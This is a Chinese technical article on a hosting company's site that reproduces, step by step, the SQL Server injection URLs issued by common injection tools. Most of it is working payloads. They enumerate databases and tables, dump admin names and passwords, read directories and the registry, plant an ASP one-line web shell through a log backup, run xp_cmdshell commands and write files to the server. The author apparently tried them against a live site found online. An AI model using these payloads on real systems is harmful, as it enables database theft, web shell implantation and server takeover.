亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來(lái)到思海網(wǎng)絡(luò),我們將竭誠(chéng)為您提供優(yōu)質(zhì)的服務(wù)! 誠(chéng)征網(wǎng)絡(luò)推廣 | 網(wǎng)站備案 | 幫助中心 | 軟件下載 | 購(gòu)買流程 | 付款方式 | 聯(lián)系我們 [ 會(huì)員登錄/注冊(cè) ]
促銷推廣
客服中心
業(yè)務(wù)咨詢
有事點(diǎn)擊這里…  531199185
有事點(diǎn)擊這里…  61352289
點(diǎn)擊這里給我發(fā)消息  81721488
有事點(diǎn)擊這里…  376585780
有事點(diǎn)擊這里…  872642803
有事點(diǎn)擊這里…  459248018
有事點(diǎn)擊這里…  61352288
有事點(diǎn)擊這里…  380791050
技術(shù)支持
有事點(diǎn)擊這里…  714236853
有事點(diǎn)擊這里…  719304487
有事點(diǎn)擊這里…  1208894568
有事點(diǎn)擊這里…  61352289
在線客服
有事點(diǎn)擊這里…  531199185
有事點(diǎn)擊這里…  61352288
有事點(diǎn)擊這里…  983054746
有事點(diǎn)擊這里…  893984210
當(dāng)前位置:首頁(yè) >> 技術(shù)文章 >> 文章瀏覽
技術(shù)文章

了解SQL Server注入細(xì)節(jié)

添加時(shí)間:2014-3-20 16:20:01  添加: 思海網(wǎng)絡(luò) 

想了解sql注入的過(guò)程和原理,網(wǎng)上找了些文章,講得都比較膚淺,但是我知道有幾款國(guó)內(nèi)比較常用的注入工具,比如Domain3.5、 NBSI3.0、啊D2.32、還有Pangolin、還有一些國(guó)外的。這里隨便弄幾個(gè)來(lái)研究一下就ok。這次用到的嗅探工具是sniffx專門嗅探 http的數(shù)據(jù)包,功能不強(qiáng)大,但是足夠這次活動(dòng)的使用。本來(lái)想使用ethereal或wireshark,但是里面復(fù)制數(shù)據(jù)包內(nèi)容老是把沒(méi)有轉(zhuǎn)碼的16 進(jìn)制也復(fù)制了過(guò)來(lái),有點(diǎn)麻煩。也就是說(shuō)這兩個(gè)工具用得不嫻熟。

【查詢數(shù)據(jù)庫(kù)信息】

本地沒(méi)有找到好點(diǎn)的有注入漏洞的系統(tǒng),只好在網(wǎng)上尋找了,先用Domain3.5,運(yùn)行很好以來(lái)就找到個(gè)sql server,sa權(quán)限的注入點(diǎn),點(diǎn)Domain3.5上面的“開(kāi)始檢測(cè)”

以下是Domain3.5中嗅探出來(lái)的http數(shù)據(jù)包:
news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)=1

以下是NBSI3.0中嗅探出來(lái)的http數(shù)據(jù)包:
news_show.asp?id=15618%20and%20user%2Bchar(124)=0
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–

啊D和Pangolin的數(shù)據(jù)包這里就不列出來(lái)了,都差不多。基本的過(guò)程是通過(guò)and 1=1和and 1=2來(lái)判斷是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)來(lái)判斷數(shù)據(jù)庫(kù)類型,sysobjects是sqlserver每個(gè)數(shù)據(jù)庫(kù)自帶的用來(lái)存儲(chǔ)數(shù)據(jù)庫(kù)信息的表格,access每個(gè)數(shù)據(jù)庫(kù) 自帶的表格是msysobjects。判斷出來(lái)是sqlserver數(shù)據(jù)庫(kù)之后,然后用系統(tǒng)自帶的變量user,system_user和0比較,system_user是nchar類型,user是char類型,0是肯定是int類型,因?yàn)椴煌愋偷臄?shù)據(jù)在sqlserver中無(wú)法直接比較,所以對(duì)于開(kāi)啟錯(cuò)誤提示的sqlserver來(lái)說(shuō)就會(huì)報(bào)錯(cuò),順便將敏感信息也暴了出來(lái):

關(guān)于user,system_user的解釋,點(diǎn)上面的鏈接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1cast()作 用是將一種數(shù)據(jù)類型的表達(dá)式顯式轉(zhuǎn)換為另一種數(shù)據(jù)類型的表達(dá)式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登錄名是否為指定固定服務(wù)器角色的成員,返回值類型為int,0表示不是某某成員,1表示是。 0×730079007300610064006D0069006E00是’sysadmin’的16進(jìn)制碼,為啥要弄成16進(jìn)制呢,我猜想可能是怕網(wǎng)站 程序過(guò)濾點(diǎn)sysadmin關(guān)鍵字,如果頁(yè)面正常返回(200),則表示該用戶是sysadmin。精心將int轉(zhuǎn)換成nvarchar(1)又會(huì)暴出類 型轉(zhuǎn)換錯(cuò)誤,而這就是黑客所需要的信息。db_name()回暴出當(dāng)前數(shù)據(jù)庫(kù)名。
;declare%20@a%20int–申明一個(gè)int變量a,作用我不得而知。

接下來(lái)的工作是列出服務(wù)器上的數(shù)據(jù)庫(kù)名:(假設(shè)服務(wù)器上有16個(gè)數(shù)據(jù)庫(kù))

  1. news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
  2. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
  3. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
  4. news_show.asp?id=15618 And (Select Top 1 cast([name] as nvarchar(4000))%2Bchar(124) from(Select Top 16 dbid,name from [master].[dbo].[sysdatabases] order by [dbid]) T order by [dbid] desc)>0

先列出上面UrlEncode的字符
%2B — ‘+’
%3E — ‘>’
%20 — ‘ ‘
%2F — ‘/’

我只能說(shuō)這些sql語(yǔ)句構(gòu)造得是相當(dāng)?shù)那擅畎。议_(kāi)始納悶了,為啥非要用子查詢呢。于是我直接用
Select Top X dbid,name from [master].[dbo].[sysdatabases] order by [dbid]
當(dāng)X為1,也就是返回第一個(gè)的時(shí)候,是沒(méi)有問(wèn)題的,返回了master,但是X為2的時(shí)候就出現(xiàn)錯(cuò)誤:
子查詢返回的值多于一個(gè)。當(dāng)子查詢跟隨在 =、!=、<、<=、>、>= 之后,或子查詢用作表達(dá)式時(shí),這種情況是不允許的。
這個(gè)時(shí)候子查詢就起到了關(guān)鍵作用。還有開(kāi)始不知道T是啥玩意,后來(lái)才知道sqlserver子查詢必須要起一個(gè)別名,T就是那個(gè)別名,然后把查詢的語(yǔ)句繼續(xù)和0比較報(bào)錯(cuò) 這樣就暴出了所有的數(shù)據(jù)庫(kù)名。
第一個(gè)select count(1)返回?cái)?shù)據(jù)庫(kù)數(shù)量。

接下來(lái)是猜解表名,假設(shè)我們當(dāng)前的數(shù)據(jù)庫(kù)是news,那么首先猜解數(shù)據(jù)庫(kù)的表的數(shù)量:
news_show.asp?id=15618 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0×55)>0
xtype的為數(shù)據(jù)表類型,0×55就是U,就是用戶表。其他的參見(jiàn)這里有詳細(xì)的解釋。

然后分別列出表名:
news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0×55 order by id) T order by id desc)>0
修改第二個(gè)Top 1為1到表數(shù)就可以了。

然后是猜解列名,假設(shè)要猜解的表為Admin,首先得到表在sysobjects中存儲(chǔ)的唯一id:
news_show.asp?id=15618 And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name=’Admin‘)>0

猜解表名,id就是上面查詢出來(lái)Admin表的id。
news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id = 1993058136 Order by colid) T Order by colid desc)>0

假設(shè)猜解出來(lái)的列名有id,AdminName,AdminPassword,AdminPower,Userid,ct
假設(shè)只猜解AdminName和AdminPassword的值
首先查看Admin表有多少條記錄:
news_show.asp?id=15618 And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0

返回第一列數(shù)據(jù):
news_show.asp?id=15618 And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32)) char(124) isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassword] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0
isNull是判定數(shù)據(jù)是否為空,為空就返回后面那個(gè)char(32)的值也就是空格->‘ ’ 。
后面的以此類推。

【讀取目錄—-xp_dirtree】

drop掉表,然后在當(dāng)前數(shù)據(jù)庫(kù)創(chuàng)建一個(gè)表,有三個(gè)字段subdirectory,depth,file
Board.asp?id=494;DROP TABLE techguru;CREATE TABLE techguru(subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)–

清空表的數(shù)據(jù),然后把xp_dirtree存儲(chǔ)過(guò)程的結(jié)果存入techguru表,xp_dirtree第一個(gè)參數(shù)是路徑,第二個(gè)是深度,為0時(shí)無(wú)限遞歸,第三個(gè)是文件類型,1為文件夾和文件,0為只顯示文件夾。
Board.asp?id=494;DELETE techguru;Insert techguru exec master..xp_dirtree ‘c:\’,1,1–

開(kāi)始一個(gè)一個(gè)的抓取文件,目錄名字,每次增加第二個(gè)top后面的數(shù)
Board.asp?id=494 And (Select Top 1 cast([subdirectory] as nvarchar(400))%2Bchar(124)%2Bcast([file] as nvarchar(1))%2Bchar(124) From(Select Top 1 [subdirectory],[file] From techguru ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0

移除表:
Board.asp?id=494;DROP TABLE techguru–

【讀取注冊(cè)表—-xp_regread】

首先建立一個(gè)表,有兩列Value和Data
Board.asp?id=494;DROP TABLE [techguru];CREATE TABLE [techguru](Value nvarchar(4000) NULL,Data nvarchar(4000) NULL)–

執(zhí)行xp_regread寫入剛建立的表
Board.asp?id=494;DELETE [techguru];Insert [techguru] exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’–

讀出來(lái)
Board.asp?id=494 And (Select Top 1 cast([Data] as nvarchar(4000))%2Bchar(124) From [techguru] order by [Data] desc)=0

刪表
Board.asp?id=494;DROP TABLE [techguru]–

【上傳webshell—-backup log xx to disk】

備份log,截?cái)?,截?cái)?
第 一 步:建立存一句話木馬的表
Board.asp?id=494;create table [dbo].[shit_tmp] ([cmd] [image])–
第 二 步:0×7900690061006F006C007500是‘yiaolu’的sql編碼
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate–
第 三 步:0×3C25657865637574652872657175657374282261222929253E是<%execute(request(”a”))%>的hex。
Board.asp?id=494;insert into [shit_tmp](cmd) values
(0×3C25657865637574652872657175657374282261222929253E)–
第 四 步0×64003A005C003100320033002E00610073007000是d:\123.asp的sql編碼
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate–
第 五 步
Board.asp?id=494;Drop table [shit_tmp]–

【執(zhí)行命令】

;CREATE TABLE [X_2894]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);
insert into [X_2894](ResultTxt) exec master.dbo.xp_cmdshell ‘Dir C:\’;
insert into [X_2894] values (’g_over’);exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

……

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 23 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

g_over這個(gè)是專門插入用來(lái)作為命令回顯結(jié)束的標(biāo)志。

;DROP TABLE [X_2894];–

【本地文件上傳】

假設(shè)上傳到服務(wù)器c:\down.vbs位置

;exec master.dbo.xp_cmdshell ‘del C:\down.vbs’–

;exec master.dbo.xp_cmdshell ‘ecHo [DeleteOnCopy] >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo Owner=Administrator >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo Personalized=5 >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo PersonalizedName=My Documents >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

總結(jié)來(lái)說(shuō)就是調(diào)用xp_cmdshell執(zhí)行echo 一句句的寫入文件。

這次分析算是告一段落,不過(guò)還有mysql,access,oracle,db2,infomix……….等待探索。

關(guān)鍵字:SQL Server、數(shù)據(jù)庫(kù)

分享到:

頂部 】 【 關(guān)閉
版權(quán)所有:佛山思海電腦網(wǎng)絡(luò)有限公司 ©1998-2024 All Rights Reserved.
聯(lián)系電話:(0757)22630313、22633833
中華人民共和國(guó)增值電信業(yè)務(wù)經(jīng)營(yíng)許可證: 粵B1.B2-20030321 備案號(hào):粵B2-20030321-1
網(wǎng)站公安備案編號(hào):44060602000007 交互式欄目專項(xiàng)備案編號(hào):200303DD003  
察察 工商 網(wǎng)安 舉報(bào)有獎(jiǎng)  警警  手機(jī)打開(kāi)網(wǎng)站